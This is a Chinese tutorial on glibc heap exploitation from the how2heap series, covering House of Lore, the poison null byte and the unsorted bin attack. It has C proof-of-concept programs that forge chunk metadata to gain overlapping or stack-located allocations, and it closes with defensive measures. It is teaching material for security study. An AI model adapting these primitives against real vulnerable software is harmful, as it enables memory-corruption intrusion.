how2heap 问题汇总(下)
字数 2033 2025-08-24 23:51:13
How2Heap 高级堆利用技术详解(下)
目录
- Small Bin 源码分析与 House of Lore 利用
- Poison Null Byte 漏洞的深入思考
- Unsorted Bin 攻击技术详解
- 总结与进阶建议
1. Small Bin 源码分析与 House of Lore 利用
1.1 Small Bin 分配机制源码解析
在 glibc 的 malloc 源码中,small bin 的处理逻辑如下:
if (in_smallbin_range(nb)) {
// 获取 small bin 的索引
idx = smallbin_index(nb);
// 获取对应 small bin 中的 chunk 指针
bin = bin_at(av, idx);
// 获取 small bin 的最后一个 chunk
if ((victim = last(bin)) != bin) {
// 第一种情况:small bin 还没有初始化
if (victim == 0)
malloc_consolidate(av);
// 第二种情况:small bin 中存在空闲的 chunk
else {
// 获取 small bin 中倒数第二个 chunk
bck = victim->bk;
// 检查 bck->fd 是不是 victim,防止伪造
if (__glibc_unlikely(bck->fd != victim)) {
errstr = "malloc(): smallbin double linked list corrupted";
goto errout;
}
// 设置 victim 对应的 inuse 位
set_inuse_bit_at_offset(victim, nb);
// 修改 small bin 链表,将 small bin 的最后一个 chunk 取出来
bin->bk = bck;
bck->fd = bin;
// 如果不是 main_arena,设置对应的标志
if (av != &main_arena)
set_non_main_arena(victim);
// 细致的检查
check_malloced_chunk(av, victim, nb);
// 将申请到的 chunk 转化为对应的 mem 状态
void *p = chunk2mem(victim);
// 如果设置了 perturb_type,则将获取到的chunk初始化为 perturb_type ^ 0xff
alloc_perturb(p, bytes);
return p;
}
}
}
关键点解析:
- Small bin 采用 FIFO(先进先出)原则
bck = victim->bk获取的是链表中前一个 chunk,因为 small bin 是双向链表- 安全检查:
bck->fd == victim确保链表完整性 - 分配时会从链表尾部取出 chunk
1.2 House of Lore 攻击技术
House of Lore 攻击通过伪造 small bin 链表来实现任意地址分配。
攻击条件:
- 能够控制 small bin 中 chunk 的 bk 指针
- 能够绕过安全检查
bck->fd == victim
构造示例:
victim_hdr
pre_size | size
victim_ptr | fd -> &stack_buffer_1_hdr
... | ...
stack_buffer_1_hdr
pre_size | size
stack_buffer_1_ptr | fd -> &victim_hdr
stack_buffer_1_ptr | bk -> &stack_buffer_2_hdr
... | ...
stack_buffer_2_hdr
pre_size | size
stack_buffer_2_ptr | fd -> &stack_buffer_1_hdr
bk | ...
验证条件:
- 第一次 malloc(p3) 时检查:
victim->bk->fd == victim即stack_buffer_1->fd == victim - 第二次 malloc(p4) 时检查:
stack_buffer_2->fd == stack_buffer_1
2. Poison Null Byte 漏洞的深入思考
2.1 漏洞原理
Poison Null Byte 利用 off-by-one 漏洞修改 chunk 的 size 字段,通过构造 prev_size(nextchunk(P)) == chunksize(P) 的条件来欺骗堆管理器。
关键条件:
prev_size(nextchunk(P)) == chunksize(P)- 可以通过溢出修改
chunksize(P) - 可以控制
prev_size(nextchunk(P))
2.2 攻击示例代码
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
int main(void) {
uint8_t* a = (uint8_t*) malloc(1);
int real_a_size = malloc_usable_size(a);
void * B = malloc(0x150);
void * C = malloc(0x150);
malloc(0x10);
free(B);
a[real_a_size] = 0x40; // 修改 chunksize(P)
*(size_t*)(B+0x130) = 0x140; // 伪造 prev_size(nextchunk(P))
void * D = malloc(0x80);
void * E = malloc(0x10);
free(D);
free(C);
C = malloc(0x2b0);
D = malloc(0x90);
}
内存布局示例:
0x602160: 0x0000000000000140 | 0x0000000000000000
0x602170: 0x0000000000000000 | 0x0000000000000000
0x602180: 0x0000000000000160 | 0x0000000000000160
0x602190: 0x0000000000000000 | 0x0000000000000000
关键点:
- 修改的
prev_size(nextchunk(P))是通过当前 chunk 的 size 找到的 - 在 free 操作后,chunk 合并利用的是下一个 chunk 的 pre_size 来定位前一个 chunk
- 只要不修改真实的 pre_size,就能完成 chunk 合并
2.3 进阶利用思路
- 通过增大
chunksize(P)可以扩展可控内存区域 - 通过切割 unsortedbin 可以获得新的指针,实现变向的 UAF
- 可以在任意位置伪造 fake chunk 来满足检查条件
3. Unsorted Bin 攻击技术详解
3.1 Unsorted Bin 基本特性
- 当释放的 chunk 不适合 fastbin 时会进入 unsorted bin
- 分配时首先遍历 unsorted bin 寻找合适 chunk
- 不合适的 chunk 会被整理到对应的 small/large bins 中
3.2 攻击示例代码
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
int main() {
intptr_t stack_buffer[4] = {0};
intptr_t stack_buffer_1[4] = {0};
intptr_t* victim = malloc(0x100);
intptr_t* p1 = malloc(0x100);
free(victim);
stack_buffer[1] = 0x110;
stack_buffer[3] = (intptr_t)stack_buffer_1;
stack_buffer_1[1] = 0x100 + 0x10;
stack_buffer_1[3] = (intptr_t)stack_buffer_1;
victim[-1] = 32;
victim[1] = (intptr_t)stack_buffer;
fprintf(stderr, "malloc(0x100): %p\n", malloc(0x100));
}
关键检查条件:
- 大小必须与下一个请求不同
- 必须满足
2*SIZE_SZ (> 16 on x64) && < av->system_mem - 伪造的 chunk size 要合理
3.3 Unsorted Bin 遍历机制
- 从头开始遍历 unsorted bin
- 遇到不合适的 chunk 会被移到对应的 small/large bins
- 找到第一个合适的 chunk 就停止遍历并使用
- 剩余的 chunk 保留在 unsorted bin 中
内存布局示例:
0x7fffffffddd0: 0x0000000000000000 | 0x0000000000000110 # stack_buffer
0x7fffffffdde0: 0x0000000000000000 | 0x00007fffffffddf0
0x7fffffffddf0: 0x0000000000000000 | 0x0000000000000110 # stack_buffer_1
0x7fffffffde00: 0x0000000000000000 | 0x00007fffffffddf0
Bins 状态变化:
- 初始状态:victim 在 unsorted bin
- 第一次 malloc 后:victim 被移到 small bin
- stack_buffer_1 仍保留在 unsorted bin
4. 总结与进阶建议
4.1 技术要点总结
- Small bin 攻击关键在于伪造双向链表并绕过完整性检查
- Poison null byte 利用 size 和 prev_size 的同步关系
- Unsorted bin 攻击需要控制遍历过程中的第一个合适 chunk
4.2 学习建议
- 深入阅读 glibc malloc 源码,理解每个检查条件的目的
- 通过调试实际漏洞程序加深理解
- 尝试组合不同技术实现更复杂的攻击
- 关注新版本 glibc 中的防护机制和绕过方法
4.3 防御措施
- 加强堆指针和链表完整性检查
- 实现更严格的 size 字段验证
- 引入随机化机制防止精确内存布局预测
- 及时更新到最新版本的 glibc
通过系统学习这些高级堆利用技术,可以深入理解堆管理器的内部机制,并提升漏洞挖掘和利用能力。建议结合具体漏洞案例进行实践练习,以巩固理论知识。